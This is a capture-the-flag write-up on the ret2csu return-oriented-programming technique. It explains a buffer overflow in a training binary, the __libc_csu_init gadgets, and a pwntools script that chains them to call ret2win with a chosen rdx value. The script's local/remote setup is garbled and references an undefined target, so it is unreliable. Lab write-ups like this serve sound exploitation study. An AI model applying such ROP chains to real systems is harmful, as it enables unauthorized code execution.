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Ret2csu ROP


you can download challenge binary here, in this challenge we have to deal with ret2csu technique in order to solve this challnge, you can read more about ret2csu here there is a talk on blackhat asia 2018 about this technique


Reverse Engineering

Information about the elf:

ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, 
not stripped

Binary Protection:

The main function is just look simple, puts a string and then call other function called pwnme

the pwnme function also looks simple, just puts a few strings, and it will wait for user input

we have buffer overflow inside pwnme function

our goals to get the flag, we have to call ret2win function, and set %rdx register to 0xdeadcafebabebeef


in order to perform ret2csu technique, we have to look at the __libc_csu_init function, we can use 0x040089a to pop everything we need

and we need another gadget from __libc_csu_init function, 0x0400880 to set %r15 register that we can control from previous gadget to %rdx register

but we have some problem here, we have to deal with

00400889  call    qword [r12+rbx*8]

and, we have to set our %rbp to 1 so we can pass this test

0040088d  add     rbx, 0x1
00400891  cmp     rbp, rbx
00400894  jne     0x400880

Luckily, we can controll the value of %rbx and %rbp from our first gadget, we can set %rbp to 1 so that after add rbx, 0x1 they will be equal. to avoid sigsev from call qword [r12+rbx*8] we need a pointer to a function, and the pointer should point to a function that will not change our %rdx register, after the function being called we can just call ret2win to get the flag, we can use _init function because this function will not change our %rdx register

and this function also have a pointer

so we can set %r12 register to 0x600e38 and then, jump to ret2win function to get the flag, now let’s write some python code

#!/usr/bin/env python2
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))

def exploit(r):
    # attach(r)
    rop_csu = 0x040089A
    ret2csu = 0x0400880
    ret2win = 0x04007B1 

    init_pointer = 0x0600E38

    # ret2csu
    p = ''
    p += p.ljust(40, "a")    
    p += p64(rop_csu)
    p += p64(0) # rbx
    p += p64(1) # rbp
    p += p64(init_pointer) # r12
    p += p64(0) # r13 
    p += p64(0) # r14
    p += p64(0xdeadcafebabebeef) # r15
    p += p64(ret2csu)
    p += p64(0) * 7
    p += p64(ret2win)



if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("", 1337)
        LOCAL = True
        r = process([TARGET,])

and run the code

nice, we got the flag.